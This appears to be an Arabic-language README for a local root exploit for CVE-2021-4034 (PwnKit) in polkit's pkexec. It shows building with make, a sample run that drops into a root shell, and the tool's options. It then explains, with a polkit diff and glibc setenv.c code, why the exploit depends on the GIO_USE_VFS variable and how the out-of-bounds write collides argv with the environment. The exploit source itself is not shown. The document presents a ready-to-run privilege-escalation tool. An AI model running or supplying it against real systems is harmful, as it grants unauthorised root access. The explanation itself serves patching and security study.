
استغلال جذري لثغرة CVE-2021-4034 (PwnKit) يستغل الكتابة خارج الحدود في pkexec لرفع الامتيازات إلى صلاحيات الجذر على أنظمة لينكس.
استغلال جذري لثغرة PwnKit. اطّلع على التقرير الأصلي هنا.
استخدم هذا الاستغلال بإذن صريح من مالكي النظام المستهدف.
لا توجد تبعيات مطلوبة سوى libc. فقط شغّل make.
التشغيل بدون خيارات سينفّذ الاستغلال:
[linux@linux ~]$ ./exploit
-----------------------------------------------------------------------------
__\ / __ __ _ __ _ __ | \ / _ ___
/ V |_ --- _)/ \ _)/| ---|_|/ \__)|_| | V |_) _/|_|
\__ |__ /__\_//__ | |\_/__) | | | \/__| |
-----------------------------------------------------------------------------
sh-5.1# whoami
root
sh-5.1#
يمكنك تخصيص المسار إلى pkexec وكذلك مجموعة الأحرف "من":
[linux@linux ~]$ ./exploit -h
...
./exploit [-c] [-h] [-f from_charset] [-p /path/to/pkexec]
-----------------------------------------------------------------------------
-c فقط تفكيك - لا تستغل
-p <path> المسار إلى pkexec (الافتراضي: "/usr/bin/pkexec")
-f <from_charset> مجموعة أحرف "من" مخصصة (الافتراضي: "UTF-8")
-h عرض هذه الرسالة
GIO_USE_VFS؟!رأيت بعض الأشخاص على وسائل التواصل الاجتماعي يسألون لماذا تفشل بعض الاستغلالات إذا لم يتم تعريف
GIO_USE_VFS=؟ ولماذا تعمل مع الإصدارات الأقدم؟
الالتزام daf3d5c2d15466a267221fcb099c59c870098e03 في polkit هو الجاني.
إليك الجزء ذو الصلة من الفرق:
--- a/src/programs/pkexec.c
+++ b/src/programs/pkexec.c
@@ -503,6 +503,9 @@ main (int argc, char *argv[])
opt_user = NULL;
local_agent_handle = NULL;
+ /* تعطيل الوصول إلى الملفات البعيدة من GIO. */
+ setenv ("GIO_USE_VFS", "local", 1);
+
/* التحقق من الاستدعاء الصحيح */
if (geteuid () != 0)
{
الإصدارات السابقة لهذا الالتزام قابلة للاستغلال دون الحاجة إلى تعريف
متغير GIO_USE_VFS. الإصدارات الأحدث - غير قابلة للاستغلال ما لم يتم تعريف هذا المتغير.
الغرض من الالتزام هو في الواقع إلهاء. ليس ما يعنيه المتغير هو المهم، بل كيف يؤثر وجوده على بيئة البرنامج. للحقيقة يجب أن ننظر إلى libc.
بيئة العملية في libc ممثلة بمصفوفة من char *s،
مشار إليها بواسطة هذا المتغير العام:
char **environ;
environ يعيش على الكومة ويتم نقله أحيانًا. ربما
تعرف بالفعل إلى أين يتجه هذا. تحقق من مقتطف الكود هذا من
setenv.c:
#if !_LIBC
# define __environ environ
# ifndef HAVE_ENVIRON_DECL
extern char **environ;
# endif
#endif
int
__add_to_environ (const char *name, const char *value, const char *combined,
int replace)
{
char **ep;
// ... تخطي
ep = __environ;
size = 0;
if (ep != NULL)
{
for (; *ep != NULL; ++ep)
if (!strncmp (*ep, name, namelen) && (*ep)[namelen] == '=')
break;
else
++size;
}
if (ep == NULL || __builtin_expect (*ep == NULL, 1))
{
char **new_environ;
/* لقد خصصنا هذه المساحة؛ يمكننا توسيعها. */
new_environ = (char **) realloc (last_environ,
(size + 2) * sizeof (char *));
// ... تخطي
last_environ = __environ = new_environ;
}
يتم استدعاء __add_to_environ() بواسطة كل من setenv(3) و putenv(3) لتحقيق
ما يعدان به - تعيين متغير بيئة. إذا كان متغير البيئة المعني
غير معرّف، يجب إعادة تخصيص environ لاستيعاب
إدخال جديد (مؤشر إلى زوج key=value الجديد للبيئة). إذا كان معرّفًا،
فإن حجم مصفوفة environ لم يتغير وبالتالي لا يوجد
سبب لإعادة التخصيص. للاختصار حذفت ذلك الجزء من الكود - أنا
أشجعك على الاطلاع عليه.
الآن دعنا نعود إلى الاستغلال. إذا وصلت إلى هذا الحد، فربما
تعرف بالفعل المنهجية وراء هذا الاستغلال (إذا لم يكن الأمر كذلك، يرجى الاطلاع على
التقرير الأصلي).
نحن نحاول إدخال متغير بيئة سرًا عن طريق تمرير وسائط برنامج فارغة
(argv) إلى pkexec. عندما يكون argc فارغًا حقًا (حتى بدون اسم برنامج)،
فإن متغيرات البيئة، المتجاورة، تتصادم مع الوسائط.
نستغل هذا السلوك لإجبار pkexec على كتابة مسار أساسي لملف
تنفيذي مستهدف في البيئة. ومع ذلك، قبل أن نصل إلى هذا الجزء من
الكود يحدث هذا:
setenv ("GIO_USE_VFS", "local", 1);
إذا لم يكن هذا المتغير موجودًا في البيئة، فسيتم
إعادة تخصيص environ، وبالتالي لن يتصادم أبدًا مع argv. نتيجة لذلك،
لن تؤثر الكتابة خارج الحدود على بيئة البرنامج، مما يتسبب في
فشل الاستغلال.